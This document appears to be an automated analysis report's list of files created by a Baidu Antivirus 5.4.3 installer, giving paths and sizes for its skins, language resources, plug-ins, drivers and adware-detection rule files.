%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\bg\nosel_bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_schedule_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin.xml (66 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\bluebg_checkbox_disable_unknown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\ieprotect\skin\lockClosed.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\investigate\skin\mainFrame_investigate_mini_layout1_slice.png (10 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update_config.xml (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin1036.txt (46 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\pop_button_close_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\like.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\feedback\skin\SUBMIT_bg2.png (65 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\context\context.ini (386 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\GuideSlice_7_ScanNow.png (39 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\msgbox\icon_blue_tip.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\investigate\skin\investigate_op_layout4_bg.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_unstall.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1055.WhiteSmoke.rul (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\ProcessCustomScan.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\ProcessFullScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\ieprotect\skin\safeicon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavTray\skin\dl_threat.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\list\checkbox_hot_unknown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HipsDR.dll (1767 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavR3Base.sys (47 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\bg_reinstall_warning.bmp (1669 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\icon\logo_big.png (23 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\free.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\radiobox\radio_sel_hot.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\icon_pcf_popularise_title.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\investigate\skin\mainFrame_investigate_mini_layout1_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\summary_top_safe_scanfinish.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\btnD.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\list\checkbox_sel_nor.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\bluebg_checkox_sel_disale.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\green_disable.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\onBtnNormal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavCheckOpponent.exe (238 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\ieprotect\skin\setbtn_off_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\investigate\skin\investigate_op_layout4_bg.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\aboutus\about_us_bg.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\engine\disabledTips.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_blue_arrow_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\apdcn.dat (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\feedback\skin\main-feedback_tittle.png (72 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\summary_top_safe_scanfinish.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUpdater\skin.xml (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\installSlice_31.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\list\checkbox_nor_unknown.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\installSlice_16.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_blue.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\summary_top_safe_text.png (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavTray\skin\black_pop_detected.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\checkox_unsel_disale.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavTray\skin\dl_scanning.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\checkbox\onBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\investigate\skin\mainFrame_investigate_mini_layout3_slice.png (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\menu\menu_checked.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\tree\listLine.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\btnN.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_type_file.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\log_repaired.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\blue_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_orange.bmp (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\ProcessCustomScan.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\icon\360.ico (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHAVHandler.dll (274 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\GuideSlice_6.png (97 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\gray_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\investigate\skin\investigate_op_layout3_bg.png (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\guide_welcome.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavTray\skin\dl_scanning.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\main_title_noprocess.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Tools\Plugin_Tools.dll (156 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\arrowUpN.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\I18N\1054\skin.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_blue.bmp (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1208.plushd.rul (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\85Play_Games.rul (609 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\main_icon_gif.png (131 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1178.IminentToolbar.rul (48 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHipsConfig.ini (538 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\feedback\skin\SUBMIT_bg2.png (66 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1086.DownloadEnergyToolbar.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\feedback\skin\SUBMIT_bg2.png (64 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\main_title_noprocess.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btn_lan_push.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\Common.7z (34186 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\arrowDownH.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\Other.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_modifyhomepage.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_scan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\ProcessRightmenuScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavDd.dll (3700 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\ieprotect\skin\lockClosed.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\arrow_hover.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1211.surfandkeep.rul (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavTray\skin\dl_threat_s.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\blue_arrow_down.png (960 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavTray\skin\dl_threat.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Trust\res\skin\icon_allowed.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\set_tab_bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\Deal Spy.rul (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_feedback.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_protection.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavTray\skin\black_pop_excluded.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavTray\skin\black_pop_suessfully.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavTray\skin\dl_safe.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\netshop_bg.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\engine\closenormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\TopBtnClose.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\arrawalpha.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\feedback\skin\main-feedback_tittle.png (72 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\ieprotect\skin\setbtn_off_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\radiobox\radio_unsel_disable.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\tipBox.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_protect.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\LockList\skin\usblockOrangeBg.bmp (1659 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\customscan_icon.png (1 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\71 (20486 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1132.SerifBar.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\investigate\skin\investigate_op_layout3_bg.png (41 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\guide_welcome.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\bluebg_checkbox_unsel_hot.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_blue_arrow_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\default_app_logo.png (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\context\context.ini (312 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\checkox_sel_disale.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\investigate\skin.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\investigate\skin\mainFrame_investigate_mini_layout3_slice.png (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\LockList\skin\usblockBlueBg.bmp (1659 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1067.SearchAssistant.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\minN.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUpdater\skin.xml (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\offBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HackerDefense.dll (106 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\SecurityCode\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\bg200.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\log_time.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\onBtnNormal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Pop_Download\Plugin_Pop_Download.dll (297 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\red_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_type_reg.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bnmon64.sys (82 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Operation.dll (7386 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavPluginRemove\skin.xml (30 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\checkox_unsel_disale.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\btnN.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BdCameraProtect64.sys (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\logosmall3.png (68 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\progressbar\light.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\continue.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\safe_icon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_type_process.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\hips_traffic_bg.png (12 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_scan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavSig.dll (159 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\arrawicon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\investigate\skin\mainFrame_investigate_mini_layout1_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\ieprotect\skin\setbtn_on_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1213.ZenDeals.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\Aflamster.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\investigate\skin\mainFrame_investigate_mini_layout3_slice.png (10 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_open.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\icon_ok.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\main_title_safe.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\role_4.png (24 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\menu\menu_item_background.bmp (73 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\10.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\icon\logo.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\tree\virusGray.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\guide_main_layout9_slice.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\engine\enabledTips.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\arrow_right_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\context\context.ini (364 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\main.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_cer.png (37 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\summary_top_safe_scanfinish.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\bs1_default_pic.png (116 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\Font\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\bg_pcf_popularise.png (78 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\DeleteTips\DarkLanguageConfig.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_scan_menu.bmp (42 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\red_btn_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\url_rec.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\submit_bg.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_dl_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\scrollbar\scrollbar_thumb_down.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btn_lan_normal.png (990 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\feedback\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\bsrconfig.ini (146 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavUpdater.exe (22433 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\checkbox\checkox_sel_disale.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\scrollbarDown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\ProcessCustomScan.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\progressbar\bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\ShoppingSidekick.rul (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\ieprotect\skin\setbtn_on_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\ac.dat (40 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\investigate\skin\unloadInvestigateTitle_cry.png (24 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\searchya.rul (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_safe.bmp (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavUpdateInfo.ini (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\investigate\skin\mainFrame_investigate_mini_layout2_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\tree\tree_title_bk2.bmp (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\close_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1248.hotspotshieldelite.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\investigate\skin.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_addautorun.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\checkbox\checkbox_sound_uncheck_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1143.BrowserPlus2.rul (19 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUpdater\skin.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\SecurityCode\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\ProcessCustomScan.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ReportComm.dll (1690 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_type_netkill.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavTray\skin\black_pop_suessfully.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavFi.dll (105 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1088.yontooToolbar.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\ieprotect\skin\safeicon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\msgbox\FileShredderBlueIcon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\green_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHHandler001.dll (1859 bytes)
